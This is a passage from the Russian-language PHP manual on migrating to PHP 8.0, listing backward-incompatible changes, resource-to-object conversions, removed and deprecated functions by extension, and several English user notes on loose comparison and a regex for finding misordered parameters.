    Если существуют и T1::func(), и T2::func(), этот код ранее принимался без уведомления, и предполагалось, что func ссылается на T1::func. Теперь вместо этого будет выброшена фатальная ошибка: необходимо явно указать T1::func или T2::func.

  • Сигнатура абстрактных методов, определённых в трейтах, теперь проверяется по методу реализующего класса:

    <?php
    trait MyTrait {
    abstract private function     neededByTrait(): string;
    }

    class     MyClass {
    use     MyTrait;

    // Ошибка из-за несоответствия типа возвращаемого значения.
    private function neededByTrait(): int { return 42; }
    }
    ?>

  • Отключённые функции теперь обрабатываются точно так же, как несуществующие функции. Вызов отключённой функции сообщит, что нет такой функции, это даёт возможность переопределить отключённую функцию.

  • Оболочки потока data:// больше не доступны для записи, что соответствует документированному поведению.

  • Арифметические и побитовые операторы +, -, *, /, **, %, <<, >>, &, |, ^, ~, ++, -- теперь будут последовательно выдавать TypeError, когда одним из операндов является массив (array), ресурс (resource) или не перегруженный объект (object). Единственным исключением из этого правила является операция слияния массивов +, которая по-прежнему поддерживается.

  • Приведение с плавающей точкой в строку теперь всегда будет вести себя независимо от локали.

    <?php
    setlocale    (LC_ALL, "de_DE");
    // Ранее: 3,14
    // Теперь: 3.14
    ?>

    Смотрите printf(), number_format() и NumberFormatter() для получения информации о способах настройки форматирования чисел.

  • Удалена поддержка устаревших фигурных скобок для доступа к смещению.

    <?php
    // Вместо:
    $array{0};
    $array{"key"};
    // Используйте:
    $array[0];
    $array["key"];
    ?>

  • Применение модификатора final к закрытому методу теперь приведёт к предупреждению, если этот метод не является конструктором.

  • Если в конструкторе объекта используется exit(), то деструктор объекта больше не будет вызываться. Это соответствует поведению, когда конструктор выбрасывает исключение.

  • Именам в пространстве имён больше нельзя содержать пробелы: имя Foo\Bar будет распознаваться как имя в пространстве имён, Foo \ Bar — нет. И наоборот, зарезервированные ключевые слова теперь разрешены в качестве сегментов пространства имён, что также может изменить интерпретацию кода: new\x теперь совпадает с constant('new\x'), но не с new \x().

  • Для вложенных тернарных операторов теперь требуется явное указание скобок.

  • debug_backtrace() и Exception::getTrace() больше не будут предоставлять ссылки на аргументы. Невозможно изменить аргументы функции через трассировку.

  • Обработка числовых строк была изменена, чтобы сделать её более понятной и менее подверженной ошибкам. Завершающие пробелы теперь разрешены в числовых строках для согласованности с тем, как обрабатываются начальные пробелы. В основном это влияет на:

    • Функцию is_numeric()
    • Сравнение строк со строками
    • Объявления типов
    • Операции увеличения и уменьшения

    Понятие "ведущая числовая строка" в основном было отброшено; случаи, когда это осталось, существуют для облегчения миграции. Строки, которые выдавали E_NOTICE "A non well-formed numeric value encountered", теперь будут выдавать E_WARNING "A non-numeric value encountered", а все строки, которые выдавали E_WARNING "A non-numeric value encountered" теперь будет выдавать TypeError. В основном это влияет на:

    • Арифметические операции
    • Побитовые операции

    Это изменение E_WARNING на TypeError также влияет на E_WARNING "Illegal string offset 'string'" для недопустимых смещений строки. Поведение явных приведений к int/float из строк не изменилось.

  • Теперь у магических методов будут проверяться аргументы и возвращаемые типы, если они объявлены. Сигнатура должна соответствовать следующему списку:

    • __call(string $name, array $arguments): mixed
    • __callStatic(string $name, array $arguments): mixed
    • __clone(): void
    • __debugInfo(): ?array
    • __get(string $name): mixed
    • __invoke(mixed $arguments): mixed
    • __isset(string $name): bool
    • __serialize(): array
    • __set(string $name, mixed $value): void
    • __set_state(array $properties): object
    • __sleep(): array
    • __unserialize(array $data): void
    • __unset(string $name): void
    • __wakeup(): void

  • Ключи массива call_user_func_array() теперь будут интерпретироваться как имена параметров, а не игнорироваться.

  • Объявление функции с именем assert() внутри пространства имён больше не допускается и вызывает E_COMPILE_ERROR. Функция assert() подвергается специальной обработке со стороны движка, что может привести к несогласованному поведению при определении одноимённой функции в пространстве имён.

Преобразование ресурсов в объекты

Несколько ресурсов (resource) были преобразованы в объекты (object). Проверки возвращаемого значения с использованием is_resource() следует заменить проверками на false.

  • curl_init() теперь возвращает объект CurlHandle вместо ресурса (resource). Функция curl_close() больше не имеет смысла, вместо этого экземпляр CurlHandle автоматически уничтожается, если на него больше нет ссылки.

  • curl_multi_init() теперь возвращает объект CurlMultiHandle вместо ресурса (resource). Функция curl_multi_close() больше не имеет смысла, вместо этого экземпляр CurlMultiHandle автоматически уничтожается, если на него больше нет ссылки.

  • curl_share_init() теперь возвращает объект CurlShareHandle вместо ресурса (resource). Функция curl_share_close() больше не имеет смысла, вместо этого экземпляр CurlShareHandle автоматически уничтожается, если на него больше нет ссылки.

  • enchant_broker_init() теперь возвращает объект EnchantBroker вместо ресурса (resource).

  • enchant_broker_request_dict() и enchant_broker_request_pwl_dict() теперь возвращают EnchantDictionary объект вместо ресурса (resource).

  • Модуль GD теперь использует объекты GdImage в качестве базовой структуры данных для изображений, а не ресурсы (resource). Функция imagedestroy() больше не имеет смысла; вместо этого экземпляр GdImage автоматически уничтожается, если на него больше нет ссылки.

  • openssl_x509_read() и openssl_csr_sign() теперь возвращают объект OpenSSLCertificate вместо ресурса (resource). Функция openssl_x509_free() объявлена устаревшей и больше не имеет смысла, вместо этого экземпляр OpenSSLCertificate автоматически уничтожается, если на него больше не ссылаются.

  • openssl_csr_new() теперь возвращает объект OpenSSLCertificateSigningRequest вместо ресурса (resource).

  • openssl_pkey_new() теперь возвращает объект OpenSSLAsymmetricKey вместо ресурса (resource). Функция openssl_pkey_free() объявлена устаревшей и больше не имеет смысла, вместо этого экземпляр OpenSSLAsymmetricKey автоматически уничтожается, если на него больше не ссылаются.

  • shmop_open() теперь возвращает объект Shmop вместо ресурса (resource). Функция shmop_close() больше не имеет смысла и объявлена устаревшей; вместо этого экземпляр Shmop автоматически уничтожается, если на него больше не ссылаются.

  • socket_create(), socket_create_listen(),
socket_accept(), socket_import_stream(),
socket_addrinfo_connect(), socket_addrinfo_bind() и
socket_wsaprotocol_info_import() теперь возвращают объект
Socket вместо ресурса (resource).
socket_addrinfo_lookup() теперь возвращает массив объектов
AddressInfo вместо массива ресурсов (resource).

  • msg_get_queue() теперь возвращают объект SysvMessageQueue вместо ресурса (resource).

  • sem_get() теперь возвращают объект SysvSemaphore вместо ресурса (resource).

  • shm_attach() теперь возвращают объект SysvSharedMemory вместо ресурса (resource).

  • xml_parser_create() и xml_parser_create_ns() теперь возвращают объект XMLParser вместо ресурса (resource). Функция xml_parser_free() больше не имеет смысла, вместо этого экземпляр XMLParser автоматически уничтожается, если на него больше не ссылаются.

  • Функции XMLWriter теперь принимают и возвращают, соответственно, объекты XMLWriter вместо ресурсов (resource).

  • inflate_init() теперь возвращает объект InflateContext вместо ресурса (resource).

  • deflate_init() теперь возвращает объект DeflateContext вместо ресурса (resource).

COM и .Net (Windows)

Возможность импорта констант без учёта регистра из библиотек типов была удалена. Второй аргумент com_load_typelib() больше не может быть false; com.autoregister_casesensitive больше нельзя отключить; Маркеры без учёта регистра в com.typelib_file игнорируются.

CURL

CURLOPT_POSTFIELDS больше не принимает объекты как массивы. Чтобы интерпретировать объект как массив, выполните явное приведение (array). То же самое относится и к другим параметрам, принимающим массивы.

Дата и время

Для работы функций mktime() и gmmktime() теперь требуется хотя бы один аргумент. time() может использоваться для получения текущей отметки времени.

DOM

Были удалены нереализованные классы из модуля DOM, которые не имели обработчика и содержали тестовые данные. Эти классы также были удалены в последней версии стандарта DOM:

  • DOMNameList
  • DomImplementationList
  • DOMConfiguration
  • DomError
  • DomErrorHandler
  • DOMImplementationSource
  • DOMLocator
  • DOMUserDataHandler
  • DOMTypeInfo
  • DOMStringExtend

Удалены нереализованные методы модуля DOM, у которых не было реализации:

  • DOMNamedNodeMap::setNamedItem()
  • DOMNamedNodeMap::removeNamedItem()
  • DOMNamedNodeMap::setNamedItemNS()
  • DOMNamedNodeMap::removeNamedItemNS()
  • DOMText::replaceWholeText()
  • DOMNode::compareDocumentPosition()
  • DOMNode::isEqualNode()
  • DOMNode::getFeature()
  • DOMNode::setUserData()
  • DOMNode::getUserData()
  • DOMDocument::renameNode()

Enchant

  • enchant_broker_list_dicts(), enchant_broker_describe() и enchant_dict_suggest() теперь возвращают пустой массив вместо null.

Exif

read_exif_data() была удалена; Вместо неё следует использовать exif_read_data().

Фильтрация данных

  • Флаги FILTER_FLAG_SCHEME_REQUIRED и FILTER_FLAG_HOST_REQUIRED для фильтра FILTER_VALIDATE_URL были удалены. scheme и host необходимы (и всегда были).

  • Типы INPUT_REQUEST и INPUT_SESSION для filter_input() и ей производных были удалены. Они никогда не были реализованы, а попытка их использования всегда приводила к вызову предупреждения.

GD

  • Устаревшие функции image2wbmp() были удалены.

  • Устаревшие функции png2wbmp() и jpeg2wbmp() были удалены.

  • Параметр mode по умолчанию для функции imagecropauto() больше не принимает значение -1. Вместо этого следует использовать IMG_CROP_DEFAULT.

  • В Windows, php_gd2.dll переименован в php_gd.dll.

GMP

gmp_random() была удалена. Вместо неё следует использовать gmp_random_range() или gmp_random_bits().

Iconv

Реализации iconv, которые неправильно устанавливают errno в случае возникновения ошибок, больше не поддерживаются.

IMAP

  • Неиспользуемый аргумент default_host функции imap_headerinfo() был удалён.

  • Функция imap_header(), которая является псевдонимом imap_headerinfo(), была удалена.

Функции интернационализации

  • Устаревшая константа INTL_IDNA_VARIANT_2003 удалена.

  • Устаревшая константа Normalizer::NONE удалена.

LDAP

  • Устаревшие функции ldap_sort(),
ldap_control_paged_result() и
ldap_control_paged_result_response() удалены.

  • Изменился интерфейс ldap_set_rebind_proc(); параметр callback больше не принимает пустые строки; вместо этого следует указывать null.

MBString

  • Директива mbstring.func_overload была удалена. Связанные константы MB_OVERLOAD_MAIL, MB_OVERLOAD_STRING и MB_OVERLOAD_REGEX также были удалены. Наконец, записи "func_overload" и "func_overload_list" в mb_get_info() были удалены.

  • mb_parse_str() больше нельзя использовать без передачи массива результатов.

  • Удалён ряд устаревших псевдонимов mbregex. В следующем списке указано, какие функции следует использовать вместо них:

    • mbregex_encoding() > mb_regex_encoding()
    • mbereg() > mb_ereg()
    • mberegi() > mb_eregi()
    • mbereg_replace() > mb_ereg_replace()
    • mberegi_replace() > mb_eregi_replace()
    • mbsplit() > mb_split()
    • mbereg_match() > mb_ereg_match()
    • mbereg_search() > mb_ereg_search()
    • mbereg_search_pos() > mb_ereg_search_pos()
    • mbereg_search_regs() > mb_ereg_search_regs()
    • mbereg_search_init() > mb_ereg_search_init()
    • mbereg_search_getregs() > mb_ereg_search_getregs()
    • mbereg_search_getpos() > mb_ereg_search_getpos()
    • mbereg_search_setpos() > mb_ereg_search_setpos()

  • Модификатор e для mb_ereg_replace() был удалён. Вместо него следует использоватьmb_ereg_replace_callback().

  • Аргумент нестрокового шаблона для mb_ereg_replace() теперь будет интерпретироваться как строка вместо кодовой точки ASCII. Предыдущее поведение можно восстановить явным вызовом chr().

  • Аргумент needle для функций mb_strpos(),
mb_strrpos(), mb_stripos(),
mb_strripos(), mb_strstr(),
mb_stristr(), mb_strrchr() и
mb_strrichr() теперь может быть пустым.

  • Параметр is_hex, который не использовался для внутренних целей, был удалён из mb_decode_numericentity().

  • Устаревшее поведение передачи кодировки в качестве третьего аргумента вместо смещения для функции mb_strrpos() было удалено; вместо этого в качестве четвёртого аргумента следует указать явное смещение 0 с кодировкой.

  • Псевдонимы кодировки символов ISO_8859-* были заменены на псевдонимы ISO8859-* для лучшей совместимости с модулем iconv. Псевдонимы mbregex ISO 8859 с подчёркиванием (ISO_8859_* и ISO8859_*) также были удалены.

  • mb_ereg() и mb_eregi() теперь будут возвращать логическое значение true, в случае найденного совпадения. Ранее они возвращали целое число 1, если аргумент matches не был передан, или max(1, strlen($matches[0])), если matches был не пустой.

OCI8

  • Класс OCI-Lob переименован в OCILob, а класс OCI-Collection — в OCICollection для имени совместимость обеспечивается средствами аннотации типа arginfo PHP 8.

  • Некоторые функции псевдонимов объявлены устаревшим.

  • oci_internal_debug() и её псевдоним ociinternaldebug() были удалены.

ODBC

  • odbc_connect() больше не использует соединения повторно.

  • Неиспользуемый параметр flags функции odbc_exec() был удалён.

OpenSSL

  • openssl_seal() и openssl_open() теперь требуют передачи method, так как предыдущее значение по умолчанию "RC4" считается небезопасным.

Регулярные выражения (совместимые с Perl)

При передаче недопустимых управляющих последовательностей они больше не интерпретируются как литералы. Такое поведение ранее требовало модификатора X, который теперь игнорируется.

Объекты данных PHP

  • Режим обработки ошибок по умолчанию был изменён с "тихого" (silent) на "исключения" (exceptions). Подробнее смотрите Ошибки и обработка ошибок.

  • Изменились сигнатуры некоторых методов PDO:

    • PDO::query(string $query, ?int $fetchMode = null, mixed ...$fetchModeArgs)
    • PDOStatement::setFetchMode(int $mode, mixed ...$args)

PDO ODBC

Директива php.ini pdo_odbc.db2_instance_name была удалена.

PDO MySQL

PDO::inTransaction() теперь сообщает о фактическом состоянии транзакции подключения, а не о приблизительном от PDO. Если запрос, при условии "неявной фиксации", выполняется, то PDO::inTransaction() впоследствии вернёт false, так как транзакция будет неактивной.

PostgreSQL

  • Устаревший синтаксис pg_connect() с использованием нескольких параметров вместо строки подключения больше не поддерживается.

  • Устаревшие сигнатуры pg_lo_import() и pg_lo_export(), передающие соединение в качестве последнего аргумента, больше не поддерживаются. Вместо этого соединение должно быть передано первым аргументом.

  • pg_fetch_all() теперь будет возвращать пустой массив вместо false для наборов результатов с отсутствующими строками.

Phar

Метаданные, связанные с phar, больше не будут автоматически десериализоваться, чтобы исправить потенциальные уязвимости безопасности из-за создания экземпляров объекта, автозагрузки и т. д.

Reflection

  • Сигнатуры методов

    • ReflectionClass::newInstance($args)
    • ReflectionFunction::invoke($args)
    • ReflectionMethod::invoke($object, $args)

    были изменены на:

    • ReflectionClass::newInstance(...$args)
    • ReflectionFunction::invoke(...$args)
    • ReflectionMethod::invoke($object, ...$args)

    Код, который должен быть совместим как с PHP 7, так и с PHP 8, может использовать следующие сигнатуры:

    • ReflectionClass::newInstance($arg = null, ...$args)
    • ReflectionFunction::invoke($arg = null, ...$args)
    • ReflectionMethod::invoke($object, $arg = null, ...$args)

  • Метод ReflectionType::__toString() теперь будет возвращать полное отладочное представление типа и больше не является устаревшим. В частности, результат будет включать индикатор допустимости значений NULL для типов, допускающих значение NULL. Формат возвращаемого значения нестабилен и может меняться в зависимости от версии PHP.

  • Методы Reflection export() были удалены. Вместо этого объекты reflection могут быть преобразованы в строку.

  • ReflectionMethod::isConstructor() и
ReflectionMethod::isDestructor() теперь также возвращают true для
методов интерфейсов __construct() и
__destruct().
Раньше это было верно только для методов классов и трейтов.

  • Метод ReflectionType::isBuiltin() перемещён в ReflectionNamedType. У ReflectionUnionType этого метода нет.

Сокеты

  • Устаревшие flags AI_IDN_ALLOW_UNASSIGNED и AI_IDN_USE_STD3_ASCII_RULES для socket_addrinfo_lookup() были удалены.

Стандартная библиотека PHP (SPL)

  • SplFileObject::fgetss() был удалён.

  • SplFileObject::seek() теперь всегда перемещается на начало строки. Ранее, позиция >=1 перемещала к началу следующие строки.

  • SplHeap::compare() теперь указывает сигнатуру метода. Наследующие классы, реализующие этот метод, теперь должны будут использовать совместимую сигнатуру метода.

  • SplDoublyLinkedList::push(),
SplDoublyLinkedList::unshift() и
SplQueue::enqueue() теперь возвращают void вместо true.

  • spl_autoload_register() теперь всегда будет выбрасывать TypeError для недопустимых аргументов, поэтому второй аргумент do_throw игнорируется, если для него установлено значение false.

  • SplFixedArray теперь является IteratorAggregate, а не Iterator. SplFixedArray::rewind(), SplFixedArray::current(), SplFixedArray::key(), SplFixedArray::next() и SplFixedArray::valid() были удалены. Вместо них был добавлен SplFixedArray::getIterator(). Любой код, который использует явную итерацию над SplFixedArray, теперь должен получить Iterator с помощью SplFixedArray::getIterator(). Это означает, что SplFixedArray теперь безопасно использовать во вложенных циклах.

Библиотека стандартных функций

  • assert() больше не будет выполнять строковые аргументы, вместо этого они будут обрабатываться как любые обычные аргументы. Таким образом, вместо assert('$a == $b') следует использовать assert($a == $b). INI-директива assert.quiet_eval и константа ASSERT_QUIET_EVAL были удалены, так как они больше не имеют смысла.

  • parse_str() больше нельзя использовать без указания массива результатов.

  • Фильтр string.strip_tags удалён.

  • Аргумент needle функций strpos(), strrpos(), stripos(), strripos(), strstr(), strchr(), strrchr() и stristr() теперь всегда будет интерпретироваться как строка. Раньше нестрочные needles интерпретировались как кодовая точка ASCII. Явный вызов chr() может использоваться для восстановления предыдущего поведения.

  • Аргумент needle функций strpos(),
strrpos(), stripos(), strripos(),
strstr(), stristr() и strrchr()
теперь может быть пустым.

  • Аргумент length функций substr(), substr_count(), substr_compare() и iconv_substr() теперь может быть null. Значения null означает отсутствие аргумента длины, и поэтому функции вернут остаток строки вместо пустой строки.

  • Аргумент length функции array_splice() теперь может быть null. Передача значения null означает отсутствие аргумента, поэтому функция удалить все, начиная от offset до конца массива.

  • Аргумент args функций vsprintf(), vfprintf() и vprintf() теперь должен быть массивом. Раньше принимался любой тип.

  • Параметр 'salt' функции password_hash() больше не поддерживается. Если используется опция 'salt', генерируется предупреждение, переданная соль игнорируется, а вместо неё используется сгенерированная соль.

  • Функция quotemeta() теперь будет возвращать пустую строку, если была передана пустая строка. Ранее возвращалось false.

  • Удалены следующие функции:

    • hebrevc()
    • convert_cyr_string()
    • money_format()
    • ezmlm_hash()
    • restore_include_path()
    • get_magic_quotes_gpc()
    • get_magic_quotes_runtime()
    • fgetss()

  • FILTER_SANITIZE_MAGIC_QUOTES удалена.

  • Вызов implode() с параметрами в обратном порядке ($pieces, $glue) больше не поддерживается.

  • parse_url() теперь будет различать отсутствующие и пустые запросы и фрагменты:

    • http://example.com/foo > query = null, fragment = null
    • http://example.com/foo? > query = "", fragment = null
    • http://example.com/foo# > query = null, fragment = ""
    • http://example.com/foo?# > query = "", fragment = ""
    Ранее во всех случаях query и fragment были null.

  • var_dump() и debug_zval_dump() теперь будут печатать числа с плавающей точкой, используя serialize_precision, а не precision. В конфигурации по умолчанию это означает, что числа с плавающей точкой теперь печатаются с полной точностью этими функциями отладки.

  • Если массив, возвращаемый __sleep(), содержит несуществующие свойства, теперь они автоматически проигнорируются. Ранее такие свойства были бы сериализованы, как если бы они имели значение null.

  • Локаль по умолчанию при запуске теперь всегда будет определена как "C". По умолчанию локали не наследуются из окружения. Ранее для LC_ALL было задано значение "C", в то время как LC_CTYPE наследовался от окружения. Однако некоторые функции не учитывали унаследованную локаль без явного вызова setlocale(). Явный вызов setlocale() теперь требуется всегда, если компонент локали должен быть изменён с значения по умолчанию.

  • Устаревший резервный вариант DES в crypt() был удалён. Если в crypt() передаётся неизвестный формат соли, функция завершится ошибкой с *0 вместо возврата к слабому хешу DES.

  • При указании значений вне допустимого диапазона для SHA256/SHA512 crypt() теперь будет выдана ошибка *0 вместо ограничения до ближайшего предела. Это соответствует поведению glibc.

  • Результат функций сортировки мог измениться, если в массиве есть одинаковые элементы.

  • Любые функции, принимающие callback-функции, которые явно не указаны для приёма параметров по ссылке, теперь будут предупреждать, если используется callback-функция со ссылочными параметрами. Например, array_filter() и array_reduce(). Ранее так было у большинства функций, но не у всех.

  • Обёртка HTTP-потока, используемая такими функциями, как file_get_contents(), теперь по умолчанию объявляет HTTP/1.1, а не HTTP/1.0. Это не меняет поведения клиента, но может заставить серверы реагировать по-другому. Чтобы сохранить старое поведение, установите параметр контекста потока 'protocol_version', например:

    <?php
    $ctx     = stream_context_create(['http' => ['protocol_version' => '1.0']]);
    echo     file_get_contents('http://example.org', false, $ctx);
    ?>

  • Вызов crypt() без явной передачи соли больше не поддерживается. Если вы хотите создать надёжный хеш с автоматически сгенерированной солью, используйте вместо этого password_hash().

  • substr(), mb_substr(), iconv_substr() и grapheme_substr() теперь последовательно фиксируют смещения за пределы границы строки. Ранее, в некоторых случаях, вместо пустой строки возвращался false.

  • В Windows функции выполнения программ (proc_open(), exec(), popen() и т. д.) с использованием оболочки теперь последовательно выполняют %comspec% /s /c "$commandline", которая делает то же самое, что и выполнение $commandline (без дополнительных кавычек).

Sysvsem

  • Параметр auto_release в sem_get() был изменён, чтобы принимать логические значения (bool), а не целые числа (int).

Tidy

  • Параметр use_include_path, который не использовался внутренне, был удалён из tidy_repair_string().

  • tidy::repairString() и tidy::repairFile() стали статическими методами.

PHP-лексер (Tokenizer)

  • В лексемах T_COMMENT больше не будет символа новой строки в конце. Вместо этого новая строка будет частью следующий лексемы T_WHITESPACE. Следует отметить, что за лексемой T_COMMENT не всегда идёт пробел, за ней также может следовать лексема T_CLOSE_TAG или конец файла.

  • Имена пространств имён теперь представлены через лексемы T_NAME_QUALIFIED (Foo\Bar), T_NAME_FULLY_QUALIFIED (\Foo\Bar) и T_NAME_RELATIVE (namespace\Foo\Bar). PHP-лексер использует лексему T_NS_SEPARATOR только для автономных разделителей пространства имён и лексема синтаксически действительна только в сочетании с объявлениями группового использования.

XMLReader

XMLReader::open() и XMLReader::xml() теперь являются статическими методами. Их по-прежнему можно вызывать как методы экземпляра, но наследующие классы должны объявлять их как статические, если они переопределяют эти методы.

XML-RPC

Модуль XML-RPC был перемещён в PECL и больше не является частью дистрибутива PHP.

Zip

ZipArchive::OPSYS_Z_CPM была удалена (в этом имени была опечатка). Используйте вместо неё ZipArchive::OPSYS_CPM.

Zlib

  • gzgetss() удалена.

  • zlib.output_compression больше не отключается автоматически для Content-Type: image/*.

Пакеты тестов PHP для Windows

Скрипт выполнения тестов был переименован из run-test.php в run-tests.php, чтобы соответствовать его имени в php-src.

User Contributed Notes

aphpguy at galaxy dot za dot net 06-Jul-2023 12:33
If you have older projects that break with PHP7 to 8 migration due to the loose comparison issue:

i.e. if ($a == 0) different behaviour between PHP 7 and PHP 8
(for case like $a = "" or $a = "123foo" and other cases listed at top)

replace in old code:

if ($a == 0) { .. }

with

if (cmp_eq($a, $b)) { .. }

Tested with a wide range of scenarios, even against arrays, booleans, file handles, pipe handles, objects, scalars and numbers.

So old code still behave like before.
Then both PHP8.x and older PHP up to ver 7.x will give the exact same boolean true or false output for loose comparisons.

function cmp_eq($a, $b) {
// If both $a and $b are of type strings, compare them as strings
if (is_string($a) && is_string($b)) { return $a == $b; } // may not be === because php says '42' equals '042' true yet '42' === '042' is false.

// If both $a and $b are numeric strings, compare them as numbers
if (is_numeric($a) && is_numeric($b)) { return $a == $b; }

// If $a is an empty string and $b is 0, or vice versa, return true
if (($a === '' && $b === 0) || ($a === 0 && $b === '')) { return true; }

// If $a is a non-numeric string and $b is 0, or vice versa, return true
if ((is_string($a) && ($a !== '') && ($b === 0)) || (($a === 0) && is_string($b) && ($b !== ''))) {
return true;
}
// special case '123abc' == 123 .. php 7 casts 123abc to 123, then 123 == 123 results in true. lets mimic that.
if ((is_string($a) && ($a !== '') && (is_numeric($b)) && ((bool)$b))) {
$number = filter_var($a, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION); //"-234.56xyz"
return $number == $b;
}
if (is_numeric($a) && ((bool)$a) && is_string($b) && ($b !== '')) {
$number = filter_var($b, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION); //"-234.56xyz"
return $a == $number;
}

// If $a is a number and $b is a non-numeric string, cast $a to string and compare
if (is_numeric($a) && is_string($b)) { return strval($a) == $b; }

// If $b is a number and $a is a non-numeric string, cast $b to string and compare
if (is_string($a) && is_numeric($b)) { return $a == strval($b); }

// If $a and $b are both non-numeric strings, compare them directly, we should return true if they are the same
return $a == $b;
} // end func cmp_eq

Note: the better way would be to port code to PHP 8, use strict variable typing and rather make use of the === and !== operators.

But in some cases having lots of old code to quickly patch, this might help.
1035041238 at qq dot com 15-Nov-2022 02:41
In PHP 8, an empty string is less than any number, an English letter is always bigger than any number.

More interesting are the punctuation marks and non-word characters, some bigger than numbers, some smaller than numbers

$string = '`~!@#$%^&*()-_=+[]{};:\'"\\|,.<>/?';

$number = 999999999999;

$str_len = strlen($string);

$bigger = $smaller = $equal = [];
for ( $i = 0; $i < $str_len; ++$i ) {
    if ( $string[$i] > $number ) {
        $bigger[] = $string[$i];
    } elseif ( $string[$i] < $number ) {
        $smaller[] = $string[$i];
    } else {
        $equal[] = $string[$i];
    }
}

var_dump( $bigger ); //['`', '~', '@', '^', '_', '=', '[', ']', '{', '}', ';', ':', '\', '|', '<', '>', '?']
var_dump( $smaller); //['!', '#', '$', '%', '&', '*', '(', ')', '-', '+', ''', '"', ',', '.', '/']
var_dump( $equal); //[]
retry, abort, fail 25-Feb-2022 11:57
The change in string to int comparison mentioned above (e.g. '' == 0 now equates to false) has some other nasty consequences:

$a = '';

// php 8

if ( $a < 0 ) echo 'true'; // echos true
if ( $a < -1) echo 'true'; // echos true
if ( $a < -100 ) echo 'true'; // echos true

// php 7

if ( $a < 0 ) echo 'true'; // no output
if ( $a < -1) echo 'true'; // no output
if ( $a < -100 ) echo 'true'; // no output

So in a situation where you may have a web form input and expected an empty value to equate to 0, watch out not only for == 0, != 0, and <= 0 comparisons, but ALL < or <= comparisons to negative integers.


Функциональность, объявленная устаревшей в PHP 8.0.x

Ядро PHP

  • Если за параметром со значением по умолчанию следует обязательный параметр, то значение по умолчанию не имеет смысла. С PHP 8.0.0 подобный порядок параметров объявлен устаревшим и может быть исправлен путём удаления значения по умолчанию:

    <?php
    function test($a = [], $b) {} // До
    function test($a, $b) {} // После
    ?>

    Одним из исключений из этого правила являются параметры вида Type $param = null, где значение по умолчанию null делает тип неявно обнуляемым. Это пока что ещё разрешено, но вместо этого лучше рекомендуется использовать явный тип nullable:

    <?php
    function test(A $a = null, $b) {} // По-прежнему разрешено
    function test(?A $a, $b) {} // Рекомендуется
    ?>

  • Вызов get_defined_functions() с явно заданным значением false в exclude_disabled устарел и больше не имеет смысла. get_defined_functions() никогда не будет возвращать отключённые функции.

Enchant

  • enchant_broker_set_dict_path() и enchant_broker_get_dict_path() объявлены устаревшими, поскольку они недоступны ни в libenchant < 1.5 ни в libenchant-2.

  • enchant_dict_add_to_personal() объявлена устаревшей; используйте вместо неё enchant_dict_add().

  • enchant_dict_is_in_session() объявлена устаревшей; используйте вместо неё enchant_dict_is_added().

  • enchant_broker_free() и enchant_broker_free_dict() объявлены устаревшими; вместо неё примените к объекту функцию unset.

  • Константа ENCHANT_MYSPELL и ENCHANT_ISPELL объявлены устаревшими.

LibXML

libxml_disable_entity_loader() объявлена устаревшей. Поскольку теперь используется libxml 2.9.0, в котором загрузка внешних объектов по умолчанию отключена, поэтому использование этой функции больше не требуется для защиты от XXE-атак, если не используется (все ещё уязвимая) LIBXML_NOENT. В этом случае рекомендуется провести рефакторинг кода с помощью libxml_set_external_entity_loader(), чтобы подавить загрузку внешних сущностей.

PGSQL / PDO PGSQL

  • Константа PGSQL_LIBPQ_VERSION_STR теперь имеет то же значение, что и PGSQL_LIBPQ_VERSION и поэтому объявлена устаревшей.

  • Псевдонимы функций в модуле pgsql объявлены устаревшими. Смотрите в следующем списке, какие функции следует использовать вместо них:

    • pg_errormessage() > pg_last_error()
    • pg_numrows() > pg_num_rows()
    • pg_numfields() > pg_num_fields()
    • pg_cmdtuples() > pg_affected_rows()
    • pg_fieldname() > pg_field_name()
    • pg_fieldsize() > pg_field_size()
    • pg_fieldtype() > pg_field_type()
    • pg_fieldnum() > pg_field_num()
    • pg_result() > pg_fetch_result()
    • pg_fieldprtlen() > pg_field_prtlen()
    • pg_fieldisnull() > pg_field_is_null()
    • pg_freeresult() > pg_free_result()
    • pg_getlastoid() > pg_last_oid()
    • pg_locreate() > pg_lo_create()
    • pg_lounlink() > pg_lo_unlink()
    • pg_loopen() > pg_lo_open()
    • pg_loclose() > pg_lo_close()
    • pg_loread() > pg_lo_read()
    • pg_lowrite() > pg_lo_write()
    • pg_loreadall() > pg_lo_read_all()
    • pg_loimport() > pg_lo_import()
    • pg_loexport() > pg_lo_export()
    • pg_setclientencoding() > pg_set_client_encoding()
    • pg_clientencoding() -> pg_client_encoding()

Библиотека стандартных функций

  • Функции сравнения сортировки, возвращающие true или false теперь сгенерирует предупреждение об устаревшей возможности, поэтому их следует переписать, чтобы они возвращали целое число меньше, равное или больше нуля.

    <?php
    // Заменить подобный код:
    usort($array, fn($a, $b) => $a > $b);
    // На этот:
    usort($array, fn($a, $b) => $a <=> $b);
    ?>

Zip

  • Использование пустого файла в ZipArchive объявлено устаревшим. Libzip 1.6.0 больше не работает с пустыми zip-архивами. Существующее обходное решение будет удалено в следующей версии.

  • Процедурный API Zip объявлен устаревшим. Вместо него используйте ZipArchive. Итерацию по всем записям можно выполнить с помощью ZipArchive::statIndex() и цикла for:

    <?php
    // итерация с использованием процедурного API
    assert(is_resource($zip));
    while (    $entry = zip_read($zip)) {
    echo     zip_entry_name($entry);
    }

    // итерация с использованием объектно-ориентированного API
    assert($zip instanceof ZipArchive);
    for (    $i = 0; $entry = $zip->statIndex($i); $i++) {
    echo     $entry['name'];
    }
    ?>

Reflection

  • ReflectionFunction::isDisabled() объявлен устаревшим, так как больше невозможно создать ReflectionFunction для отключённой функции. Этот метод теперь всегда возвращает false.

  • ReflectionParameter::getClass(),
ReflectionParameter::isArray() и
ReflectionParameter::isCallable() объявлены устаревшими.
Вместо них следует использовать ReflectionParameter::getType() и
API ReflectionType.

User Contributed Notes

dominique dot vienne at ik dot me 21-Jun-2021 01:23
If you try to get all methods / functions assigning an optional argument before a mandatory one, try this regex (single line)

<?php
function\s+[a-z][a-zA-Z0-9_]*\((?:\$[a-z][a-zA-Z0-9]*\s*,\s*)*
(?:\$[a-z][A-Za-z0-9_]*\s*=[^\$\)]+)+\$[a-z][a-zA-Z0-9_]*\)
?>

for
<?php
public function test($a, $b) {
$a = [];
$b = [$abc => $ss[],
];
}

private function too($c, $a = true, $b) {
}

protected function bar($a = []) {
}

public function foo($a, $b = true) {
}

public function fooBar32($a=true, $b = [], $c) {
}

private function oo_bAr($a = []) {
}
?>
it will match too() and fooBar32()

Have a nice migration! ;)


Другие изменения

